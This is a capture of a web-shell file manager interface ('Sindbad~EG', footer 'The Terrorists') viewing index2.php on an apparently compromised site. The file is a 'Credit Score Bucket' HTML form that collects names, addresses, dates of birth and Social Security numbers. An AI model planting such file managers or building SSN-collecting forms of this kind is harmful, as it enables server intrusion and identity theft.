Sindbad~EG File Manager

Current Path : /home/jcall0/career.jtelemarketing.net/
Upload File :
Current File : /home/jcall0/career.jtelemarketing.net/index2.php

<!--
<!DOCTYPE html>
<html>
<body>

<h2>HTML Forms</h2>

<form method="POST" action="action.php">
  <label for="fname">First name:</label><br>
  <input type="text" id="fname" name="fname" value=""><br>
  <label for="lname">Last name:</label><br>
  <input type="text" id="lname" name="lname" value=""><br><br>
	  <label for="street">Street:</label><br>
  <input type="text" id="street" name="street" value=""><br><br>
	  <label for="city">City:</label><br>
  <input type="text" id="city" name="city" value=""><br><br>
	  <label for="state">State:</label><br>
  <input type="text" id="state" name="state" value=""><br><br>
	  <label for="zip">Zip:</label><br>
  <input type="text" id="zip" name="zip" value=""><br><br>
	
  <input type="submit"  name="submitbtn" value="Submit">
</form> 


</body>
</html>-->



<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link href="https://fonts.googleapis.com/css?family=Roboto:300,400&display=swap" rel="stylesheet">

    <link rel="stylesheet" href="fonts/icomoon/style.css">

    <link rel="stylesheet" href="css/owl.carousel.min.css">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="css/bootstrap.min.css">
    
    <!-- Style -->
    <link rel="stylesheet" href="css/style.css">

    <title>Credit Score Bucket</title>
  </head>
  <body style="background-color: #203447;">
 
	  <div class="container">
  <div class="d-lg-flex half">
    <div class="bg order-1 order-md-2" style="background-image: url('images/bg_1.jpg');"></div>
    <div class="contents order-2 order-md-1">

      <div class="container">
        <div class="row  justify-content-center">
          <div class="col-md-7 py-5">
            <h4 style="border-bottom: 1px solid #000;width: 170px;">Enter User Info</h4>
            
           <form method="POST" action="action.php">
              <div class="row">
                <div class="col-md-6">
                  <div class="form-group first">
                    <label for="fname">First Name</label>
                    <input type="text" class="form-control" value="" placeholder="e.g. John" name="fname"  required>
                  </div>    
                </div>
                <div class="col-md-6">
                  <div class="form-group first">
                    <label for="lname">Last Name</label>
                    <input type="text" class="form-control" value="" placeholder="e.g. Smith" name="lname" required>
                  </div>    
                </div>
              </div>

              <div class="row">
                <div class="col-md-6">
                  <div class="form-group first">
                    <label for="street">Street Address</label>
                    <input type="text" class="form-control" value="" name="street" placeholder="e.g. 535 30 RD A" required>
                  </div>    
                </div>
                <div class="col-md-6">
                  <div class="form-group first">
                    <label for="city">City</label>
                    <input type="text" class="form-control" value="" name="city" placeholder="e.g. Grand Junction" required>
                  </div>    
                </div>
              </div>
              <div class="row">
                <div class="col-md-6">
              
                  <div class="form-group last mb-3">
                    <label for="state">State</label>
                    <input type="text" class="form-control"  name="state" placeholder="e.g.  CO" value="" required>
                  </div>
                </div>
                <div class="col-md-6">
              
                  <div class="form-group last mb-3">
                    <label for="zip">Zipcode</label>
                    <input type="number" class="form-control" name="zip" placeholder="e.g. 81504"  value="" required>
                  </div>
                </div>
              </div>
               <h5 style="border-bottom: 1px solid #000;width: 170px;">Additional Info</h5>


				 <div class="row">
                <div class="col-md-6">
              
                  <div class="form-group last mb-3">
                    <label for="dob">DOB</label>
                    <input type="text" class="form-control"  name="dob" placeholder="e.g.  1975-01-01"  >
                  </div>
                </div>
                <div class="col-md-6">
              
                  <div class="form-group last mb-3">
                    <label for="ssn">SSN</label>
                    <input type="number" class="form-control" name="ssn" placeholder="e.g. 666234390"  >
                  </div>
                </div>
              </div>
				
              <input type="submit" name="submitbtn" value="Submit" class="btn px-5 btn-primary" style="background-color: #203447; border: none;margin-top: 20px;">

            </form>
          </div>
        </div>
      </div>
    </div>

    
  </div>
    
    </div>

    <script src="js/jquery-3.3.1.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/main.js"></script>
  </body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists